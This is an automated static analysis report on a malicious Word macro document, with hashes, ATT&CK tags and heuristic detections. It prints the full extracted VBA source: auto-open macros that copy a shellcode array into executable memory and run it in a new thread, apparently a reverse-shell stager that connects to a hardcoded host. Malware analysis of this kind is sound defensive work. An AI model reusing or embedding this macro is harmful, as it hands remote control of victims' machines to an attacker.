Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32979a720f80f1b7…

MALICIOUS

Office (OLE)

35.0 KB Created: 2019-08-05 17:54:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: de081afff3d7407461b2ebfba352839a SHA-1: 7390d5143119d86b438e46ce03ea511eacdda771 SHA-256: 32979a720f80f1b7d61edd1c7b19a2eb11bbfa53e1d4dda27ac8ffe2e5bf6d51
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1608.001 Stage 1: Code Deployment

The file contains VBA macros, including AutoOpen and Workbook_Open, which are commonly used to initiate malicious actions upon opening. The presence of VirtualAlloc API calls and the ClamAV detection as 'Doc.Downloader.Generic' strongly suggest that the macro is designed to download and execute a secondary payload. The embedded URL, while benign, is noted as a potential indicator.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    #End If
    Sub Auto_Open()
    Dim rjkxhequggdem As Long, jjtqgmemld As Variant, dyibgdlwhpd As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4461 bytes
SHA-256: edeb35d6e4827190fe32aa9217d4d7d5e4a6a71e2ea12c0d8b5b0f449e00b06c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const nvprrxpqzr = 2
Const efwytbafhw = 1
Const miposoydwg = 0
#If VBA7 Then
Private Declare PtrSafe Function iqixokabvdy Lib "kernel32" Alias "CreateThread" (ByVal fdakzyihkfgu As Long, ByVal zlbuykmroefvcsj As Long, ByVal bsucjazuuign As LongPtr, ccubdvkypdn As Long, ByVal aqfwtusvmx As Long, jsnemelwjmhuddpb As Long) As LongPtr
Private Declare PtrSafe Function yaloegjfza Lib "kernel32" Alias "VirtualAlloc" (ByVal vtczazvbikytm As Long, ByVal vmozcqlrklsqibcxx As Long, ByVal swpkpkymlmbjazutx As Long, ByVal iheajvhnrrmlweokwk As Long) As LongPtr
Private Declare PtrSafe Function neprnxojitprtnkm Lib "kernel32" Alias "RtlMoveMemory" (ByVal fnutbmmincs As LongPtr, ByRef gfchkflabq As Any, ByVal pumqdeag As Long) As LongPtr
#Else
Private Declare Function iqixokabvdy Lib "kernel32" Alias "CreateThread" (ByVal fdakzyihkfgu As Long, ByVal zlbuykmroefvcsj As Long, ByVal bsucjazuuign As Long, ccubdvkypdn As Long, ByVal aqfwtusvmx As Long, jsnemelwjmhuddpb As Long) As Long
Private Declare Function yaloegjfza Lib "kernel32" Alias "VirtualAlloc" (ByVal vtczazvbikytm As Long, ByVal vmozcqlrklsqibcxx As Long, ByVal swpkpkymlmbjazutx As Long, ByVal iheajvhnrrmlweokwk As Long) As Long
Private Declare Function neprnxojitprtnkm Lib "kernel32" Alias "RtlMoveMemory" (ByVal fnutbmmincs As Long, ByRef gfchkflabq As Any, ByVal pumqdeag As Long) As Long
#End If
Sub Auto_Open()
Dim rjkxhequggdem As Long, jjtqgmemld As Variant, dyibgdlwhpd As Long
#If VBA7 Then
Dim ahnlsulixjmxpe As LongPtr, niazlknnznpzlwswu As LongPtr
#Else
Dim ahnlsulixjmxpe As Long, niazlknnznpzlwswu As Long
#End If
jjtqgmemld = Array(232, 130, miposoydwg, 0, miposoydwg, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, nvprrxpqzr, 44, 32, 193, 207, 13, efwytbafhw, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, efwytbafhw, 209, 81, 139, 89, 32, efwytbafhw, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, efwytbafhw, 214, 49, 255, 172, 193, _
207, 13, efwytbafhw, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, efwytbafhw, 211, 102, 139, 12, 75, 139, 88, 28, efwytbafhw, 211, 139, 4, 139, efwytbafhw, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, miposoydwg, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, efwytbafhw, miposoydwg, _
0, 41, 196, 84, 80, 104, 41, 128, 107, miposoydwg, 255, 213, 106, 10, 104, 192, 168, miposoydwg, 5, 104, nvprrxpqzr, miposoydwg, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, miposoydwg, 0, miposoydwg, 106, miposoydwg, 106, 4, 86, 87, 104, nvprrxpqzr, 217, 200, 95, 255, 213, _
131, 248, miposoydwg, 126, 54, 139, 54, 106, 64, 104, miposoydwg, 16, miposoydwg, 0, 86, 106, miposoydwg, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, miposoydwg, 86, 83, 87, 104, nvprrxpqzr, 217, 200, 95, 255, 213, 131, 248, miposoydwg, 125, 40, 88, 104, miposoydwg, 64, miposoydwg, 0, 106, miposoydwg, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, efwytbafhw, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, miposoydwg, 83, 255, 213)
ahnlsulixjmxpe = yaloegjfza(miposoydwg, UBound(jjtqgmemld), &H1000, &H40)
For dyibgdlwhpd = LBound(jjtqgmemld) To UBound(jjtqgmemld)
rjkxhequggdem = jjtqgmemld(dyibgdlwhpd)
niazlknnznpzlwswu = neprnxojitprtnkm(ahnlsulixjmxpe + dyibgdlwhpd, rjkxhequggdem, efwytbafhw)
Next dyibgdlwhpd
niazlknnznpzlwswu = iqixokabvdy(miposoydwg, miposoydwg, ahnlsulixjmxpe, miposoydwg, 0, miposoydwg)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function banfuzculeuv(ByVal lhozwsnrvnga As String) As String
Dim xefvofpecazk As Long
For xefvofpecazk = 1 To Len(lhozwsnrvnga) Step 2
banfuzculeuv = banfuzculeuv & Chr$(Val("&H" & Mid$(lhozwsnrvnga, xefvofpecazk, 2)))
Next xefvofpecazk
End Function